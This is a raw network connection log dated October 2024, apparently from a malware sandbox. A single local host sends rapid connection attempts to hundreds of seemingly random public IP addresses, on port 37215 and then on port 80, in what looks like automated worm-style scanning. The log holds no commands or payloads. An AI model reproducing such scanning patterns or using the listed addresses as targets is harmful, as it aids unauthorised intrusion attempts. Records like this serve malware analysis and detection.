Oct 17, 2024 02:19:46.153637886 CEST	20644	37215	192.168.2.14	41.94.201.96
Oct 17, 2024 02:19:46.153637886 CEST	20644	37215	192.168.2.14	41.168.39.146
Oct 17, 2024 02:19:46.153647900 CEST	20644	37215	192.168.2.14	41.234.195.111
Oct 17, 2024 02:19:46.153660059 CEST	20644	37215	192.168.2.14	156.60.41.50
Oct 17, 2024 02:19:46.153660059 CEST	20644	37215	192.168.2.14	156.251.255.246
Oct 17, 2024 02:19:46.153661966 CEST	20644	37215	192.168.2.14	41.14.153.14
Oct 17, 2024 02:19:46.153660059 CEST	20644	37215	192.168.2.14	197.216.185.185
Oct 17, 2024 02:19:46.153664112 CEST	20644	37215	192.168.2.14	197.59.43.120
Oct 17, 2024 02:19:46.153666973 CEST	20644	37215	192.168.2.14	41.16.10.137
Oct 17, 2024 02:19:46.153669119 CEST	20644	37215	192.168.2.14	41.201.199.222
Oct 17, 2024 02:19:46.153670073 CEST	20644	37215	192.168.2.14	41.149.22.153
Oct 17, 2024 02:19:46.153676987 CEST	20644	37215	192.168.2.14	197.48.13.45
Oct 17, 2024 02:19:46.153676987 CEST	20644	37215	192.168.2.14	197.87.82.41
Oct 17, 2024 02:19:46.153682947 CEST	20644	37215	192.168.2.14	156.170.142.156
Oct 17, 2024 02:19:46.153683901 CEST	20644	37215	192.168.2.14	41.88.156.144
Oct 17, 2024 02:19:46.153683901 CEST	20644	37215	192.168.2.14	156.19.40.207
Oct 17, 2024 02:19:46.153693914 CEST	20644	37215	192.168.2.14	197.88.206.226
Oct 17, 2024 02:19:46.153713942 CEST	20644	37215	192.168.2.14	156.197.70.216
Oct 17, 2024 02:19:46.153716087 CEST	20644	37215	192.168.2.14	197.206.99.59
Oct 17, 2024 02:19:46.153717041 CEST	20644	37215	192.168.2.14	197.96.100.125
Oct 17, 2024 02:19:46.153716087 CEST	20644	37215	192.168.2.14	197.39.151.75
Oct 17, 2024 02:19:46.153718948 CEST	20644	37215	192.168.2.14	41.141.180.54
Oct 17, 2024 02:19:46.153719902 CEST	20644	37215	192.168.2.14	156.37.208.79
Oct 17, 2024 02:19:46.153718948 CEST	20644	37215	192.168.2.14	197.201.191.188
Oct 17, 2024 02:19:46.153726101 CEST	20644	37215	192.168.2.14	197.209.103.122
Oct 17, 2024 02:19:46.153734922 CEST	20644	37215	192.168.2.14	197.193.188.64
Oct 17, 2024 02:19:46.153734922 CEST	20644	37215	192.168.2.14	41.190.102.228
Oct 17, 2024 02:19:46.153737068 CEST	20644	37215	192.168.2.14	156.193.93.133
Oct 17, 2024 02:19:46.153737068 CEST	20644	37215	192.168.2.14	156.117.34.218
Oct 17, 2024 02:19:46.153745890 CEST	20644	37215	192.168.2.14	41.228.148.128
Oct 17, 2024 02:19:46.153745890 CEST	20644	37215	192.168.2.14	41.120.193.173
Oct 17, 2024 02:19:46.153748035 CEST	20644	37215	192.168.2.14	156.253.131.194
Oct 17, 2024 02:19:46.153748035 CEST	20644	37215	192.168.2.14	197.11.59.182
Oct 17, 2024 02:19:46.153748035 CEST	20644	37215	192.168.2.14	197.234.210.16
Oct 17, 2024 02:19:46.153748989 CEST	20644	37215	192.168.2.14	197.177.22.208
Oct 17, 2024 02:19:46.153748989 CEST	20644	37215	192.168.2.14	156.37.94.180
Oct 17, 2024 02:19:46.153748989 CEST	20644	37215	192.168.2.14	197.5.250.97
Oct 17, 2024 02:19:46.153764009 CEST	20644	37215	192.168.2.14	41.46.77.144
Oct 17, 2024 02:19:46.153768063 CEST	20644	37215	192.168.2.14	156.67.191.223
Oct 17, 2024 02:19:46.153768063 CEST	20644	37215	192.168.2.14	41.127.245.249
Oct 17, 2024 02:19:46.153768063 CEST	20644	37215	192.168.2.14	156.160.205.45
Oct 17, 2024 02:19:46.153784037 CEST	20644	37215	192.168.2.14	156.208.189.52
Oct 17, 2024 02:19:46.153796911 CEST	20644	37215	192.168.2.14	156.181.170.218
Oct 17, 2024 02:19:46.153798103 CEST	20644	37215	192.168.2.14	156.213.78.167
Oct 17, 2024 02:19:46.153796911 CEST	20644	37215	192.168.2.14	197.230.93.155
Oct 17, 2024 02:19:46.153798103 CEST	20644	37215	192.168.2.14	156.174.197.241
Oct 17, 2024 02:19:46.153798103 CEST	20644	37215	192.168.2.14	156.105.13.135
Oct 17, 2024 02:19:46.153796911 CEST	20644	37215	192.168.2.14	41.201.133.239
Oct 17, 2024 02:19:46.153796911 CEST	20644	37215	192.168.2.14	197.190.79.79
Oct 17, 2024 02:19:46.153809071 CEST	20644	37215	192.168.2.14	197.51.30.167
Oct 17, 2024 02:19:46.153809071 CEST	20644	37215	192.168.2.14	41.118.74.54
Oct 17, 2024 02:19:46.153809071 CEST	20644	37215	192.168.2.14	197.235.147.14
Oct 17, 2024 02:19:46.153810978 CEST	20644	37215	192.168.2.14	156.207.23.205
Oct 17, 2024 02:19:46.153817892 CEST	20644	37215	192.168.2.14	197.66.147.29
Oct 17, 2024 02:19:46.153817892 CEST	20644	37215	192.168.2.14	41.66.139.159
Oct 17, 2024 02:19:46.153829098 CEST	20644	37215	192.168.2.14	197.6.154.243
Oct 17, 2024 02:19:46.153840065 CEST	20644	37215	192.168.2.14	156.215.226.163
Oct 17, 2024 02:19:46.153840065 CEST	20644	37215	192.168.2.14	197.137.202.187
Oct 17, 2024 02:19:46.153852940 CEST	20644	37215	192.168.2.14	156.175.52.28
Oct 17, 2024 02:19:46.153861046 CEST	20644	37215	192.168.2.14	41.49.13.251
Oct 17, 2024 02:19:46.153861046 CEST	20644	37215	192.168.2.14	197.228.129.122
Oct 17, 2024 02:19:46.153865099 CEST	20644	37215	192.168.2.14	156.161.72.104
Oct 17, 2024 02:19:46.153870106 CEST	20644	37215	192.168.2.14	156.39.171.187
Oct 17, 2024 02:19:46.153870106 CEST	20644	37215	192.168.2.14	197.190.187.241
Oct 17, 2024 02:19:46.153876066 CEST	20644	37215	192.168.2.14	197.172.133.148
Oct 17, 2024 02:19:46.153878927 CEST	20644	37215	192.168.2.14	41.95.160.130
Oct 17, 2024 02:19:46.153886080 CEST	20644	37215	192.168.2.14	41.63.236.92
Oct 17, 2024 02:19:46.153886080 CEST	20644	37215	192.168.2.14	156.192.221.31
Oct 17, 2024 02:19:46.153892040 CEST	20644	37215	192.168.2.14	156.99.70.77
Oct 17, 2024 02:19:46.153899908 CEST	20644	37215	192.168.2.14	156.153.242.233
Oct 17, 2024 02:19:46.153903008 CEST	20644	37215	192.168.2.14	41.44.208.52
Oct 17, 2024 02:19:46.153908968 CEST	20644	37215	192.168.2.14	41.34.102.252
Oct 17, 2024 02:19:46.153918982 CEST	20644	37215	192.168.2.14	197.241.203.175
Oct 17, 2024 02:19:46.153918982 CEST	20644	37215	192.168.2.14	156.143.86.49
Oct 17, 2024 02:19:46.153918982 CEST	20644	37215	192.168.2.14	197.252.226.184
Oct 17, 2024 02:19:46.153929949 CEST	20644	37215	192.168.2.14	197.131.123.124
Oct 17, 2024 02:19:46.153929949 CEST	20644	37215	192.168.2.14	41.229.223.125
Oct 17, 2024 02:19:46.153929949 CEST	20644	37215	192.168.2.14	197.72.150.89
Oct 17, 2024 02:19:46.153937101 CEST	20644	37215	192.168.2.14	156.34.23.140
Oct 17, 2024 02:19:46.153945923 CEST	20644	37215	192.168.2.14	197.51.164.109
Oct 17, 2024 02:19:46.153955936 CEST	20644	37215	192.168.2.14	197.165.34.106
Oct 17, 2024 02:19:46.153956890 CEST	20644	37215	192.168.2.14	41.226.12.138
Oct 17, 2024 02:19:46.153958082 CEST	20644	37215	192.168.2.14	41.159.176.117
Oct 17, 2024 02:19:46.153963089 CEST	20644	37215	192.168.2.14	41.13.145.232
Oct 17, 2024 02:19:46.153963089 CEST	20644	37215	192.168.2.14	41.129.46.240
Oct 17, 2024 02:19:46.153971910 CEST	20644	37215	192.168.2.14	41.119.144.5
Oct 17, 2024 02:19:46.153973103 CEST	20644	37215	192.168.2.14	41.178.2.228
Oct 17, 2024 02:19:46.153975010 CEST	20644	37215	192.168.2.14	197.194.103.114
Oct 17, 2024 02:19:46.153975010 CEST	20644	37215	192.168.2.14	156.97.117.220
Oct 17, 2024 02:19:46.153981924 CEST	20644	37215	192.168.2.14	41.125.40.139
Oct 17, 2024 02:19:46.153983116 CEST	20644	37215	192.168.2.14	156.40.77.24
Oct 17, 2024 02:19:46.153983116 CEST	20644	37215	192.168.2.14	197.70.112.201
Oct 17, 2024 02:19:46.153983116 CEST	20644	37215	192.168.2.14	156.222.224.64
Oct 17, 2024 02:19:46.153983116 CEST	20644	37215	192.168.2.14	156.27.61.45
Oct 17, 2024 02:19:46.153984070 CEST	20644	37215	192.168.2.14	197.87.81.168
Oct 17, 2024 02:19:46.153995037 CEST	20644	37215	192.168.2.14	41.145.222.127
Oct 17, 2024 02:19:46.154000044 CEST	20644	37215	192.168.2.14	41.254.13.123
Oct 17, 2024 02:19:46.154005051 CEST	20644	37215	192.168.2.14	197.200.2.127
Oct 17, 2024 02:19:46.154012918 CEST	20644	37215	192.168.2.14	197.227.183.158
Oct 17, 2024 02:19:46.154015064 CEST	20644	37215	192.168.2.14	197.91.15.78
Oct 17, 2024 02:19:46.154016972 CEST	20644	37215	192.168.2.14	197.169.38.154
Oct 17, 2024 02:19:46.154016972 CEST	20644	37215	192.168.2.14	41.0.114.197
Oct 17, 2024 02:19:46.154019117 CEST	20644	37215	192.168.2.14	197.217.27.123
Oct 17, 2024 02:19:46.154027939 CEST	20644	37215	192.168.2.14	156.242.211.237
Oct 17, 2024 02:19:46.154028893 CEST	20644	37215	192.168.2.14	197.62.15.20
Oct 17, 2024 02:19:46.154032946 CEST	20644	37215	192.168.2.14	156.68.92.192
Oct 17, 2024 02:19:46.154032946 CEST	20644	37215	192.168.2.14	41.6.85.70
Oct 17, 2024 02:19:46.154032946 CEST	20644	37215	192.168.2.14	197.212.100.202
Oct 17, 2024 02:19:46.154032946 CEST	20644	37215	192.168.2.14	197.19.230.202
Oct 17, 2024 02:19:46.154032946 CEST	20644	37215	192.168.2.14	197.91.45.118
Oct 17, 2024 02:19:46.154040098 CEST	20644	37215	192.168.2.14	41.89.56.76
Oct 17, 2024 02:19:46.154041052 CEST	20644	37215	192.168.2.14	156.27.25.6
Oct 17, 2024 02:19:46.154175997 CEST	36384	37215	192.168.2.14	156.20.186.166
Oct 17, 2024 02:19:46.154194117 CEST	36384	37215	192.168.2.14	156.20.186.166
Oct 17, 2024 02:19:46.154911995 CEST	36798	37215	192.168.2.14	156.20.186.166
Oct 17, 2024 02:19:46.158307076 CEST	37215	41096	197.144.202.170	192.168.2.14
Oct 17, 2024 02:19:46.158354998 CEST	41096	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:46.159041882 CEST	37215	36384	156.20.186.166	192.168.2.14
Oct 17, 2024 02:19:46.179687023 CEST	48300	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:46.184488058 CEST	80	48300	113.128.194.225	192.168.2.14
Oct 17, 2024 02:19:46.184581041 CEST	48300	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:46.184632063 CEST	48300	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:46.184670925 CEST	20646	80	192.168.2.14	5.64.195.2
Oct 17, 2024 02:19:46.184675932 CEST	20646	80	192.168.2.14	5.15.108.196
Oct 17, 2024 02:19:46.184675932 CEST	20646	80	192.168.2.14	106.164.220.198
Oct 17, 2024 02:19:46.184705019 CEST	20646	80	192.168.2.14	188.229.224.76
Oct 17, 2024 02:19:46.184705973 CEST	20646	80	192.168.2.14	81.215.124.102
Oct 17, 2024 02:19:46.184705019 CEST	20646	80	192.168.2.14	80.239.58.172
Oct 17, 2024 02:19:46.184716940 CEST	20646	80	192.168.2.14	88.101.181.108
Oct 17, 2024 02:19:46.184717894 CEST	20646	80	192.168.2.14	180.150.71.241
Oct 17, 2024 02:19:46.184717894 CEST	20646	80	192.168.2.14	93.232.165.150
Oct 17, 2024 02:19:46.184719086 CEST	20646	80	192.168.2.14	146.92.236.221
Oct 17, 2024 02:19:46.184725046 CEST	20646	80	192.168.2.14	46.22.5.159
Oct 17, 2024 02:19:46.184725046 CEST	20646	80	192.168.2.14	174.123.80.209
Oct 17, 2024 02:19:46.184730053 CEST	20646	80	192.168.2.14	38.219.45.130
Oct 17, 2024 02:19:46.184730053 CEST	20646	80	192.168.2.14	177.191.121.132
Oct 17, 2024 02:19:46.184730053 CEST	20646	80	192.168.2.14	17.28.255.172
Oct 17, 2024 02:19:46.184730053 CEST	20646	80	192.168.2.14	32.5.253.112
Oct 17, 2024 02:19:46.184741974 CEST	20646	80	192.168.2.14	213.178.228.237
Oct 17, 2024 02:19:46.184746981 CEST	20646	80	192.168.2.14	102.35.206.152
Oct 17, 2024 02:19:46.184753895 CEST	20646	80	192.168.2.14	200.9.123.88
Oct 17, 2024 02:19:46.184765100 CEST	20646	80	192.168.2.14	190.234.65.116
Oct 17, 2024 02:19:46.184766054 CEST	20646	80	192.168.2.14	71.186.87.192
Oct 17, 2024 02:19:46.184773922 CEST	20646	80	192.168.2.14	75.61.24.236
Oct 17, 2024 02:19:46.184775114 CEST	20646	80	192.168.2.14	74.138.225.170
Oct 17, 2024 02:19:46.184775114 CEST	20646	80	192.168.2.14	100.152.12.233
Oct 17, 2024 02:19:46.184782028 CEST	20646	80	192.168.2.14	204.154.42.133
Oct 17, 2024 02:19:46.184782028 CEST	20646	80	192.168.2.14	64.161.245.112
Oct 17, 2024 02:19:46.184787035 CEST	20646	80	192.168.2.14	197.178.198.196
Oct 17, 2024 02:19:46.184787035 CEST	20646	80	192.168.2.14	61.182.207.122
Oct 17, 2024 02:19:46.184793949 CEST	20646	80	192.168.2.14	9.118.72.199
Oct 17, 2024 02:19:46.184793949 CEST	20646	80	192.168.2.14	41.60.193.161
Oct 17, 2024 02:19:46.184794903 CEST	20646	80	192.168.2.14	130.175.106.189
Oct 17, 2024 02:19:46.184794903 CEST	20646	80	192.168.2.14	54.168.88.43
Oct 17, 2024 02:19:46.184798002 CEST	20646	80	192.168.2.14	203.116.98.201
Oct 17, 2024 02:19:46.184808969 CEST	20646	80	192.168.2.14	206.131.30.62
Oct 17, 2024 02:19:46.184808969 CEST	20646	80	192.168.2.14	105.242.52.35
Oct 17, 2024 02:19:46.184811115 CEST	20646	80	192.168.2.14	131.101.249.104
Oct 17, 2024 02:19:46.184811115 CEST	20646	80	192.168.2.14	100.52.8.66
Oct 17, 2024 02:19:46.184813023 CEST	20646	80	192.168.2.14	101.223.197.223
Oct 17, 2024 02:19:46.184813023 CEST	20646	80	192.168.2.14	85.211.15.180
Oct 17, 2024 02:19:46.184820890 CEST	20646	80	192.168.2.14	77.188.244.191
Oct 17, 2024 02:19:46.184822083 CEST	20646	80	192.168.2.14	121.212.52.176
Oct 17, 2024 02:19:46.184824944 CEST	20646	80	192.168.2.14	39.44.247.75
Oct 17, 2024 02:19:46.184829950 CEST	20646	80	192.168.2.14	155.119.70.240
Oct 17, 2024 02:19:46.184829950 CEST	20646	80	192.168.2.14	23.9.146.249
Oct 17, 2024 02:19:46.184839964 CEST	20646	80	192.168.2.14	187.163.179.204
Oct 17, 2024 02:19:46.184839964 CEST	20646	80	192.168.2.14	179.199.178.228
Oct 17, 2024 02:19:46.184839964 CEST	20646	80	192.168.2.14	175.42.155.35
Oct 17, 2024 02:19:46.184839964 CEST	20646	80	192.168.2.14	81.253.68.126
Oct 17, 2024 02:19:46.184854031 CEST	20646	80	192.168.2.14	194.18.223.150
Oct 17, 2024 02:19:46.184854031 CEST	20646	80	192.168.2.14	203.128.183.162
Oct 17, 2024 02:19:46.184854031 CEST	20646	80	192.168.2.14	196.130.202.32
Oct 17, 2024 02:19:46.184854031 CEST	20646	80	192.168.2.14	46.194.124.107
Oct 17, 2024 02:19:46.184858084 CEST	20646	80	192.168.2.14	192.219.232.190
Oct 17, 2024 02:19:46.184858084 CEST	20646	80	192.168.2.14	94.143.167.19
Oct 17, 2024 02:19:46.184858084 CEST	20646	80	192.168.2.14	191.150.79.119
Oct 17, 2024 02:19:46.184870958 CEST	20646	80	192.168.2.14	104.190.46.22
Oct 17, 2024 02:19:46.184870958 CEST	20646	80	192.168.2.14	47.106.144.98
Oct 17, 2024 02:19:46.184876919 CEST	20646	80	192.168.2.14	187.171.55.147
Oct 17, 2024 02:19:46.184880972 CEST	20646	80	192.168.2.14	158.90.216.219
Oct 17, 2024 02:19:46.184880972 CEST	20646	80	192.168.2.14	116.254.13.230
Oct 17, 2024 02:19:46.184880972 CEST	20646	80	192.168.2.14	207.190.27.209
Oct 17, 2024 02:19:46.184890032 CEST	20646	80	192.168.2.14	179.74.239.113
Oct 17, 2024 02:19:46.184890032 CEST	20646	80	192.168.2.14	36.230.61.208
Oct 17, 2024 02:19:46.184899092 CEST	20646	80	192.168.2.14	93.166.15.67
Oct 17, 2024 02:19:46.184900999 CEST	20646	80	192.168.2.14	170.84.65.228
Oct 17, 2024 02:19:46.184901953 CEST	20646	80	192.168.2.14	213.51.90.69
Oct 17, 2024 02:19:46.184910059 CEST	20646	80	192.168.2.14	124.7.253.236
Oct 17, 2024 02:19:46.184910059 CEST	20646	80	192.168.2.14	185.18.150.250
Oct 17, 2024 02:19:46.184910059 CEST	20646	80	192.168.2.14	82.87.67.117
Oct 17, 2024 02:19:46.184923887 CEST	20646	80	192.168.2.14	20.168.183.84
Oct 17, 2024 02:19:46.184925079 CEST	20646	80	192.168.2.14	100.236.219.113
Oct 17, 2024 02:19:46.184926987 CEST	20646	80	192.168.2.14	9.158.233.99
Oct 17, 2024 02:19:46.184937954 CEST	20646	80	192.168.2.14	135.122.122.103
Oct 17, 2024 02:19:46.184942007 CEST	20646	80	192.168.2.14	5.124.68.189
Oct 17, 2024 02:19:46.184942961 CEST	20646	80	192.168.2.14	185.8.31.17
Oct 17, 2024 02:19:46.184942961 CEST	20646	80	192.168.2.14	108.175.39.254
Oct 17, 2024 02:19:46.184958935 CEST	20646	80	192.168.2.14	58.145.36.225
Oct 17, 2024 02:19:46.184961081 CEST	20646	80	192.168.2.14	144.214.47.183
Oct 17, 2024 02:19:46.184961081 CEST	20646	80	192.168.2.14	96.107.147.206
Oct 17, 2024 02:19:46.184982061 CEST	20646	80	192.168.2.14	126.245.143.173
Oct 17, 2024 02:19:46.184982061 CEST	20646	80	192.168.2.14	97.21.184.205
Oct 17, 2024 02:19:46.184984922 CEST	20646	80	192.168.2.14	171.117.191.146
Oct 17, 2024 02:19:46.184994936 CEST	20646	80	192.168.2.14	101.132.208.227
Oct 17, 2024 02:19:46.184994936 CEST	20646	80	192.168.2.14	148.102.232.166
Oct 17, 2024 02:19:46.184994936 CEST	20646	80	192.168.2.14	83.112.137.204
Oct 17, 2024 02:19:46.184998989 CEST	20646	80	192.168.2.14	142.211.195.22
Oct 17, 2024 02:19:46.184998989 CEST	20646	80	192.168.2.14	170.184.68.37
Oct 17, 2024 02:19:46.185002089 CEST	20646	80	192.168.2.14	75.107.64.224
Oct 17, 2024 02:19:46.185004950 CEST	20646	80	192.168.2.14	169.82.118.79
Oct 17, 2024 02:19:46.185004950 CEST	20646	80	192.168.2.14	125.142.66.117
Oct 17, 2024 02:19:46.185022116 CEST	20646	80	192.168.2.14	196.198.12.43
Oct 17, 2024 02:19:46.185023069 CEST	20646	80	192.168.2.14	129.67.65.234
Oct 17, 2024 02:19:46.185025930 CEST	20646	80	192.168.2.14	65.74.87.10
Oct 17, 2024 02:19:46.185025930 CEST	20646	80	192.168.2.14	141.210.125.1
Oct 17, 2024 02:19:46.185028076 CEST	20646	80	192.168.2.14	80.170.238.35
Oct 17, 2024 02:19:46.185029030 CEST	20646	80	192.168.2.14	63.66.226.57
Oct 17, 2024 02:19:46.185038090 CEST	20646	80	192.168.2.14	9.255.165.60
Oct 17, 2024 02:19:46.185039043 CEST	20646	80	192.168.2.14	62.15.4.77
Oct 17, 2024 02:19:46.185038090 CEST	20646	80	192.168.2.14	161.156.57.52
Oct 17, 2024 02:19:46.185039043 CEST	20646	80	192.168.2.14	52.114.218.6
Oct 17, 2024 02:19:46.185038090 CEST	20646	80	192.168.2.14	27.12.83.80
Oct 17, 2024 02:19:46.185045958 CEST	20646	80	192.168.2.14	41.8.213.212
Oct 17, 2024 02:19:46.185045958 CEST	20646	80	192.168.2.14	46.229.172.79
Oct 17, 2024 02:19:46.185054064 CEST	20646	80	192.168.2.14	8.233.69.251
Oct 17, 2024 02:19:46.185062885 CEST	20646	80	192.168.2.14	37.107.36.107
Oct 17, 2024 02:19:46.185075045 CEST	20646	80	192.168.2.14	65.125.35.189
Oct 17, 2024 02:19:46.185079098 CEST	20646	80	192.168.2.14	72.172.252.246
Oct 17, 2024 02:19:46.185080051 CEST	20646	80	192.168.2.14	17.237.80.38
Oct 17, 2024 02:19:46.185080051 CEST	20646	80	192.168.2.14	1.230.187.205
Oct 17, 2024 02:19:46.185080051 CEST	20646	80	192.168.2.14	176.167.190.22
Oct 17, 2024 02:19:46.185080051 CEST	20646	80	192.168.2.14	157.233.54.28
Oct 17, 2024 02:19:46.185087919 CEST	20646	80	192.168.2.14	198.128.215.34
Oct 17, 2024 02:19:46.185089111 CEST	20646	80	192.168.2.14	123.109.79.43
Oct 17, 2024 02:19:46.185102940 CEST	20646	80	192.168.2.14	169.206.199.214
Oct 17, 2024 02:19:46.185103893 CEST	20646	80	192.168.2.14	198.238.21.48
Oct 17, 2024 02:19:46.185103893 CEST	20646	80	192.168.2.14	158.233.113.111
Oct 17, 2024 02:19:46.185105085 CEST	20646	80	192.168.2.14	128.159.69.5
Oct 17, 2024 02:19:46.185103893 CEST	20646	80	192.168.2.14	90.173.59.193
Oct 17, 2024 02:19:46.185106039 CEST	20646	80	192.168.2.14	159.62.49.218
Oct 17, 2024 02:19:46.185106039 CEST	20646	80	192.168.2.14	45.111.165.136
Oct 17, 2024 02:19:46.185105085 CEST	20646	80	192.168.2.14	172.70.12.142
Oct 17, 2024 02:19:46.185120106 CEST	20646	80	192.168.2.14	37.26.81.200
Oct 17, 2024 02:19:46.185123920 CEST	20646	80	192.168.2.14	75.229.106.49
Oct 17, 2024 02:19:46.185126066 CEST	20646	80	192.168.2.14	65.14.161.68
Oct 17, 2024 02:19:46.185126066 CEST	20646	80	192.168.2.14	160.126.147.27
Oct 17, 2024 02:19:46.185126066 CEST	20646	80	192.168.2.14	90.40.226.248
Oct 17, 2024 02:19:46.185139894 CEST	20646	80	192.168.2.14	65.222.185.176
Oct 17, 2024 02:19:46.185141087 CEST	20646	80	192.168.2.14	87.54.57.94
Oct 17, 2024 02:19:46.185142040 CEST	20646	80	192.168.2.14	121.39.210.154
Oct 17, 2024 02:19:46.185142040 CEST	20646	80	192.168.2.14	5.212.86.95
Oct 17, 2024 02:19:46.185142040 CEST	20646	80	192.168.2.14	97.174.90.23
Oct 17, 2024 02:19:46.185146093 CEST	20646	80	192.168.2.14	223.176.13.140
Oct 17, 2024 02:19:46.185147047 CEST	20646	80	192.168.2.14	85.163.50.74
Oct 17, 2024 02:19:46.185147047 CEST	20646	80	192.168.2.14	222.217.154.25
Oct 17, 2024 02:19:46.185148954 CEST	20646	80	192.168.2.14	149.37.90.110
Oct 17, 2024 02:19:46.185148954 CEST	20646	80	192.168.2.14	199.204.154.18
Oct 17, 2024 02:19:46.185153008 CEST	20646	80	192.168.2.14	1.136.23.163
Oct 17, 2024 02:19:46.185158968 CEST	20646	80	192.168.2.14	216.189.130.27
Oct 17, 2024 02:19:46.185167074 CEST	20646	80	192.168.2.14	101.17.180.221
Oct 17, 2024 02:19:46.185167074 CEST	20646	80	192.168.2.14	132.117.3.68
Oct 17, 2024 02:19:46.185167074 CEST	20646	80	192.168.2.14	161.208.46.182
Oct 17, 2024 02:19:46.185172081 CEST	20646	80	192.168.2.14	219.56.41.123
Oct 17, 2024 02:19:46.185174942 CEST	20646	80	192.168.2.14	18.191.220.159
Oct 17, 2024 02:19:46.185174942 CEST	20646	80	192.168.2.14	174.38.117.101
Oct 17, 2024 02:19:46.185177088 CEST	20646	80	192.168.2.14	156.48.99.217
Oct 17, 2024 02:19:46.185184002 CEST	20646	80	192.168.2.14	192.192.175.217
Oct 17, 2024 02:19:46.185184956 CEST	20646	80	192.168.2.14	36.164.249.239
Oct 17, 2024 02:19:46.185184956 CEST	20646	80	192.168.2.14	156.111.96.192
Oct 17, 2024 02:19:46.185184956 CEST	20646	80	192.168.2.14	65.121.99.67
Oct 17, 2024 02:19:46.185184956 CEST	20646	80	192.168.2.14	217.90.141.108
Oct 17, 2024 02:19:46.185193062 CEST	20646	80	192.168.2.14	8.5.193.48
Oct 17, 2024 02:19:46.185193062 CEST	20646	80	192.168.2.14	61.68.165.208
Oct 17, 2024 02:19:46.185194016 CEST	20646	80	192.168.2.14	213.77.170.171
Oct 17, 2024 02:19:46.185194016 CEST	20646	80	192.168.2.14	17.92.255.145
Oct 17, 2024 02:19:46.185213089 CEST	20646	80	192.168.2.14	78.47.44.107
Oct 17, 2024 02:19:46.185214996 CEST	20646	80	192.168.2.14	123.192.231.44
Oct 17, 2024 02:19:46.185215950 CEST	20646	80	192.168.2.14	86.213.171.198
Oct 17, 2024 02:19:46.185221910 CEST	20646	80	192.168.2.14	19.222.216.15
Oct 17, 2024 02:19:46.185228109 CEST	20646	80	192.168.2.14	140.7.143.56
Oct 17, 2024 02:19:46.185228109 CEST	20646	80	192.168.2.14	86.92.251.18
Oct 17, 2024 02:19:46.185228109 CEST	20646	80	192.168.2.14	110.216.87.235
Oct 17, 2024 02:19:46.185229063 CEST	20646	80	192.168.2.14	98.120.112.213
Oct 17, 2024 02:19:46.185229063 CEST	20646	80	192.168.2.14	35.98.4.19
Oct 17, 2024 02:19:46.185235023 CEST	20646	80	192.168.2.14	1.237.102.8
Oct 17, 2024 02:19:46.185235023 CEST	20646	80	192.168.2.14	217.188.179.70
Oct 17, 2024 02:19:46.185236931 CEST	20646	80	192.168.2.14	72.34.24.137
Oct 17, 2024 02:19:46.185236931 CEST	20646	80	192.168.2.14	139.165.160.51
Oct 17, 2024 02:19:46.185237885 CEST	20646	80	192.168.2.14	136.68.91.231
Oct 17, 2024 02:19:46.185235023 CEST	20646	80	192.168.2.14	195.248.60.246
Oct 17, 2024 02:19:46.185239077 CEST	20646	80	192.168.2.14	179.74.24.101
Oct 17, 2024 02:19:46.185239077 CEST	20646	80	192.168.2.14	175.146.218.216
Oct 17, 2024 02:19:46.185245991 CEST	20646	80	192.168.2.14	31.2.19.190
Oct 17, 2024 02:19:46.185251951 CEST	20646	80	192.168.2.14	184.76.194.255
Oct 17, 2024 02:19:46.185251951 CEST	20646	80	192.168.2.14	193.90.137.175
Oct 17, 2024 02:19:46.185256004 CEST	20646	80	192.168.2.14	153.189.44.218
Oct 17, 2024 02:19:46.185256958 CEST	20646	80	192.168.2.14	182.75.128.165
Oct 17, 2024 02:19:46.185259104 CEST	20646	80	192.168.2.14	123.92.149.166
Oct 17, 2024 02:19:46.185267925 CEST	20646	80	192.168.2.14	161.59.102.89
Oct 17, 2024 02:19:46.185269117 CEST	20646	80	192.168.2.14	82.241.239.242
Oct 17, 2024 02:19:46.185271978 CEST	20646	80	192.168.2.14	68.154.187.146
Oct 17, 2024 02:19:46.185276985 CEST	20646	80	192.168.2.14	204.196.123.199
Oct 17, 2024 02:19:46.185276985 CEST	20646	80	192.168.2.14	42.209.66.94
Oct 17, 2024 02:19:46.185281038 CEST	20646	80	192.168.2.14	25.124.55.170
Oct 17, 2024 02:19:46.185288906 CEST	20646	80	192.168.2.14	137.220.18.41
Oct 17, 2024 02:19:46.185291052 CEST	20646	80	192.168.2.14	168.120.227.170
Oct 17, 2024 02:19:46.185291052 CEST	20646	80	192.168.2.14	130.38.177.117
Oct 17, 2024 02:19:46.185297012 CEST	20646	80	192.168.2.14	168.196.167.76
Oct 17, 2024 02:19:46.185297012 CEST	20646	80	192.168.2.14	174.130.167.233
Oct 17, 2024 02:19:46.185302973 CEST	20646	80	192.168.2.14	68.156.234.144
Oct 17, 2024 02:19:46.185307026 CEST	20646	80	192.168.2.14	78.70.22.127
Oct 17, 2024 02:19:46.185323000 CEST	20646	80	192.168.2.14	108.93.78.3
Oct 17, 2024 02:19:46.185323954 CEST	20646	80	192.168.2.14	187.17.37.188
Oct 17, 2024 02:19:46.185323000 CEST	20646	80	192.168.2.14	97.76.28.161
Oct 17, 2024 02:19:46.185324907 CEST	20646	80	192.168.2.14	36.20.107.247
Oct 17, 2024 02:19:46.185323000 CEST	20646	80	192.168.2.14	199.64.108.40
Oct 17, 2024 02:19:46.185326099 CEST	20646	80	192.168.2.14	91.81.24.149
Oct 17, 2024 02:19:46.185326099 CEST	20646	80	192.168.2.14	123.11.224.139
Oct 17, 2024 02:19:46.185326099 CEST	20646	80	192.168.2.14	216.55.46.117
Oct 17, 2024 02:19:46.185326099 CEST	20646	80	192.168.2.14	32.202.20.29
Oct 17, 2024 02:19:46.185337067 CEST	20646	80	192.168.2.14	137.4.12.32
Oct 17, 2024 02:19:46.185337067 CEST	20646	80	192.168.2.14	81.254.163.185
Oct 17, 2024 02:19:46.185337067 CEST	20646	80	192.168.2.14	153.129.213.163
Oct 17, 2024 02:19:46.185378075 CEST	20646	80	192.168.2.14	156.46.31.188
Oct 17, 2024 02:19:46.185379028 CEST	20646	80	192.168.2.14	219.202.240.18
Oct 17, 2024 02:19:46.185395002 CEST	20646	80	192.168.2.14	153.221.240.64
Oct 17, 2024 02:19:46.185395956 CEST	20646	80	192.168.2.14	35.124.146.189
Oct 17, 2024 02:19:46.185395002 CEST	20646	80	192.168.2.14	40.170.222.252
Oct 17, 2024 02:19:46.185395956 CEST	20646	80	192.168.2.14	5.31.8.140
